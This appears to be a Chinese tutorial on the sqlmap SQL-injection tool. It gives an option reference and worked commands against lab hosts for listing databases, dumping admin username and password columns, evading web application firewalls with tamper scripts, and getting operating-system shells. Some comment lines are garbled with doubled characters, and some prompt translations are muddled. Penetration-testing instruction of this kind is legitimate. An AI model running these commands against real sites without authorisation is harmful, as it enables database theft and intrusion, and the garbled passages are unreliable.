一 、 介绍
话不多说。。开干
1
SqlMap 是一款强大的 开源 渗透测试工具,
它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
自带字典 功能强大 界面优化友好 多平台运行
它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能
可以access,mysql,mssql等数据库的 注入 拖库,
可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行
(即页面返回时间是否增加)来判断。
3、基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入
可以使用union的情况下的注入。
5、堆查询注入
可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有:
MySQL,
Oracle,
Microsoft SQL Server,
SQLite,
PostgreSQL,
Microsoft Access,
IBM DB2,
Firebird,
Sybase和SAP MaxDB
#2. SQLMAP 命令详解
Options(选项):
–version 显示程序的版本号并退出
-h, --help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为 1)
Target(目标):
以下至少需要设置其中一个选项,设置目标 URL。 -d DIRECT 直接连接到数据库。
-u URL, --url=URL 目标 URL。 -l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。 -c CONFIGFILE 从 INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标 URL。
–data=DATA 通过 POST 发送的数据字符串
–cookie=COOKIE HTTP Cookie 头
–cookie-urlencode URL 编码生成的 cookie 注入
–drop-set-cookie 忽略响应的 Set - Cookie 头信息
–user-agent=AGENT 指定 HTTP User - Agent 头
–random-agent 使用随机选定的 HTTP User - Agent 头
–referer=REFERER 指定 HTTP Referer 头
–headers=HEADERS 换行分开,加入其他的 HTTP 头
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理连接到目标 URL
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的 HTTP 代理
–delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒)
–retries=RETRIES 连接超时后重新连接的时间(默认 3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的 url 地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL
Optimization(优化):
这些选项可用于优化 SqlMap 的性能。
-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的 HTTP(S)连接
–null-connection 从没有实际的 HTTP 响应体中检索页面长度
–threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的 DBMS 为此值
–os=OS 强制后端的 DBMS 操作系统为这个值
–prefix=PREFIX 注入 payload 字符串前缀
–suffix=SUFFIX 注入 payload 字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
–level=LEVEL 执行测试的等级(1-5,默认为 1)
–risk=RISK 执行测试的风险(0-3,默认为 1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的 SQL 注入测试。
–technique=TECH SQL 注入技术测试(默认 BEUST)
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒)
–union-cols=UCOLS 定列范围用于测试 UNION 查询注入
–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, --fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的 SQL 语句。
-b, --banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测 DBMS 当前用户是否 DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的 DBMS 数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S) -D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的 SQL 语句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
–common-tables 检查存在共同表
–common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的 shell
–os-pwn 获取一个 OOB shell,meterpreter 或 VNC
–os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问:
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
–reg-read 读一个 Windows 注册表项值
–reg-add 写一个 Windows 注册表项值数据
–reg-del 删除 Windows 注册表键值
–reg-key=REGKEY Windows 注册表键
–reg-value=REGVAL Windows 注册表项值
–reg-data=REGDATA Windows 注册表键值数据
–reg-type=REGTYPE Windows 注册表项值类型
General(一般):
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新 SqlMap
–save file 保存选项到 INI 配置文件
–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep 发现 SQL 注入时提醒
–check-payload IDS 对注入 payloads 的检测测试
–cleanup SqlMap 具体的 UDF 和表清理 DBMS
–forms 对目标 URL 的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
–page-rank Google dork 结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个 sqlite3 数据库
–tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面
#3. 什么是 OOB?
传输层协议 使用带外数据(out-of-band,OOB)
来发送一些重要的数据
如果通信一方有重要的数据需要通知对方时,
协议能够将这些数据快速地发送到对方.为了发送这些数据,
协议一般不使用与普通数据相同的通道,而是使用另外的通道.
.linux 系统的套接字机制支持低层协议发送和接受带外数据.
但是 TCP 协议没有真正意义上的带外数据.为了发送重要协议,
TCP提供了一种称为紧急模式(urgentmode)的机制.
在数据段中设置URG位,表示进入紧急模式.
接收方可以对紧急模式采取特殊的处理.很容易看出来,这种方式数据不容易被阻塞,
可以通过在我们的服务器端程序里面捕捉 SIGURG 信号来及时接受数据或者使用带OOB 标志的 recv 函数来接受.
注入使用
- 常用命令
注入命令详解:
找到SQLMAP路径,
在CMD里面输入CD XX路径进入到SQLMAP路径目录下
SQLmap语句含义:
三种注入判断方式
1.python SQLMAP.py -u “xxxxxxx.com”
【查询链接是否存在get注入漏洞以及返现目标基本信息】
2.python SQLmap.py -u “xxxx.com” --cookie “id=xx” --level 2
【判断url是否存在cookie注入】
3.python SQLmap.py -u “xxxx.com” --data “xx=xx&xx=xx”
【判断url是否存在post注入】
【get注入详解】
python sqlmap.py -u “xxxxxxx.com” --dbs
【获取数据库内所有数据库的名称】
python sqlmap.py -u “xxxxxxx.com” --current-db
【查看目标网站所存在数据库的名称】
python SQLMAP.py -u “xxxxxxx.com” -D XX --tables
【获取XX数据库内的表信息】
python sqlmap.py -u “xxxxxxx.com” -D XX【数据库名】 -T XX【表名】 --columns
【获取表内列的信息】
python sqlmap.py -u “xxxxxxx.com” -D XX -T XX -C XX,XX【列名】 --dump
【获取列内信息】
【cookie注入详解】
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2
//判判断断是是否否存存在在cookie注注入入
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --tables //猜猜解解表表名名
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --columns -T admin
//猜 解admin表表名名下下的的列列名名
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --dump -C “username,password” -T admin
//获获取取指指定定列列名名admin下下的的数数据据
【post注入详解】
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456”
//判断注入
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --tables
//猜解表名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --tables -D “fanke”
///猜 解fanke数据库下的表名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --columns -T “user”
//猜 解fanke数据库下的表名user中的列名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --dump -C
“username,password” -T user
//猜解数据
python sqlmap.py -u " " -level 5 --tamper=space2comment --technique=BEUS
–identify-waf --batch
识别waf --identify-waf对一些网站是否有安全防护进行试探
绕过对方waf:
sqlmap -u url --skip-waf --random-agent 通过使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile 通过手机请求 使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级 通过手机请求 使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile --smart smart智能模式
sqlmap -u url --skip-waf --random-agent --mobile --smart --offline 减少根对方的交互
–tamper=space2comment
randomcomments.py脚本 在payload关键字中随机插入/**/,可以绕过关键字过滤,适用于所有数据库
–technique=BEUS
测试是否是注入
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
–current-user
获取当前用户名称
–current-db
获取当前数据库名称
–tables -D “db_name”
列表名
–columns -T “tablename” users-D “db_name” -v 0
列字段
–dump -C “column_name” -T “table_name” -D “db_name” -v 0
获取字段内容
–smart --level 3 --users
smart 智能 level 执行测试等级
–dbms “Mysql” --users
dbms 指定数据库类型
–time-sec=2
设定延迟注入的时间 默认是5秒
–union-cols
设定UNION查询字段数
–union-char
设定UNION查询使用的字符
–second-order
二阶SQL注入
刷新session文件
参数:–flush-session
-r 1.txt
–csrf-token=“token”
sqlmap.py -u “http://192.168.87.129/shownews.asp” --cookie “id=27” --table --level 2
cookie注入,猜解表
sqlmap.py -u “http://192.168.87.129/shownews.asp” --cookie “id=27” --columns -T admin --level 2
猜解字段,(通过1的表猜解字段,假如表为admin)
sqlmap.py -u “http://192.168.87.129/shownews.asp” --cookie “id=27” --dump -T admin -C “user,password” --level 2
猜解内容
sqlmap -update
更新
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
–forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
–tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
–level 设置注入探测等级
–risk 风险等级 5
–identify-waf 检测防火墙类型
–param-del=“分割符” 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程
python sqlmap.py -r “D:\hack\codeattack\sqlmap\123.txt” -p userID --dbs --tamper=space2randomblank,unionalltounion,space2comment,appendnullbyte,chardoubleencode --level 5 --risk 3 --skip-waf --random-agent --mobile --smart
AliYunDun (Alibaba Cloud Computing)
Safedog
D盾
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests?
建议只执行基本的联盟测试如果没有至少一个其他(潜在)技术发现。你想减少请求的数量?
you have not declared cookie(s), while server wants to set its own (’
ASP.NET_SessionId=
saltkey =
PHPSESSID =
sid = '). Do you want to use those
你还没有宣布饼干(s),而服务器要设置自己的( )。你想用这些吗
are you sure that you want to continue with further target testing?
你确定你要继续进一步的目标测试吗?
do you want to skip those kind of cases (and save scanning time)?
你想跳过这些类型的情况下(并保存扫描时间)?
it looks like the back-end DBMS is ‘FrontBase’. Do you want to skip test payloads specific for other DBMSes?
它看起来像“FrontBase”后端数据库管理系统。你想跳过测试载荷具体其他dbms ?
for the remaining tests, do you want to include all tests for ‘FrontBase’ extending provided risk (1) value?
Microsoft SQL Server
Cubrid
MySQL
对于剩余的测试,你想为“ ”包括所有测试扩展提供风险(1)价值?
injection not exploitable with NULL values. Do you want to try with a random integer value for option ‘–union-char’? [Y/n]
注射用NULL值不是可利用的。你想尝试一个随机整数价值选择“——union-char”?[Y / n]
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue?
似乎有一个持续的问题连接到目标。你确定你想要继续吗?
got a 302 redirect to ‘http://www.baidu.com/search/error.html’. Do you want to follow?
有一个302重定向到
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue?
似乎有一个持续的问题连接到目标。你确定你想要继续吗
are you really sure that you want to continue (sqlmap could have problems)? [y/N]
你真的确定你想继续(sqlmap可能有问题)?[y / N]
are you sure that you want to continue with further target testing? [Y/n]
你确定你要继续进一步的目标测试吗?[Y / n]
do you want to (re)try to find proper UNION column types with fuzzy test?
你想(重新)试图找到适当的联盟列类型与模糊测试?
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/©hange verbosity/(q)uit]
你想如何继续?
do you want to URL encode cookie values (implementation specific)? [Y/n]
你想要对URL值进行URL编码(具体实现)吗? 输入"Y"
Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
cookie参数“id”是脆弱的。你想继续测试其他(如果有的话)吗? 输入"Y"
do you want to use common table existence check? [Y/n/q]
你是否要使用存在的公共表去检查? [Y/n/q] 输入"Y" 并输入线程数。
[CRITICAL]considerable lagging has been detected in connection response(s). Please use as high value for option ‘–time-sec’ as possible
相当大的滞后已经检测到连接响应(s)。请使用高值选项——time-sec尽可能
[CRITICAL]all tested parameters do not appear to be injectable. Try to increase values for ‘–level’/’–risk’ options if you wish to perform more tests
所有测试参数似乎没有注射。努力增加值“——水平”/“——风险”选项如果你想进行更多的测试
[CRITICAL]heuristics detected that the target is protected by some kind of WAF/IPS
启发式检测到的目标是保护某种WAF / IPS
[INFO] heuristic (basic) test shows that GET parameter ‘idref’ might be injectable
[信息]启发式(基本)测试表明,参数的idref可能注射
[INFO] testing for SQL injection on GET parameter ‘idref’
[信息]测试SQL注入得到参数的idref
[INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
(关键)目标URL连接超时。sqlmap将重试请求(年代)
[WARNING] there is a possibility that the target (or WAF/IPS) is dropping ‘suspicious’ requests
[警告]有可能目标(或WAF / IPS)下降“可疑”请求
[INFO] GET parameter ‘idref’ appears to be ‘AND boolean-based blind - WHERE or HAVING clause’ injectable
[信息]得到参数的idref似乎 注射
输出级别(Output verbosity) 参数:-v
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
指定目标
Sqlmap运行时必须指定至少一个目标,支持一次指定多个目标。有以下几种指定目标的方式:
1.直接连接数据库 参数:-d
使用参数“-d”直接连接数据库,该参数后跟一个表示数据库的字符串,该字符串有以下两种格式:
(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:
DBMS://DATABASE_FILEPATH
用如下命令连接装在本机上的Mysql:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
却出现了错误,错误为:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can do
意思是我没有安装Python连接Mysql用的第三方库python-pymysql。虽然我安装了python-mysqldb可以使Python连接Mysql,但显然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安装python-pymysql:
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
安装好python-pymysql后再执行命令:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
这次没有报错,成功的连接到了数据库。
只是除了检测数据库确实是Mysql版本号大于等于5.0.0之外便什么都没有做。让Sqlmap做点什么需要用其他参数指定,这些参数我们稍晚些再学习。
指定目标URL
参数:-u 或 –url
使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串,可以是http协议也可以是https协议,还可以指定端口,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"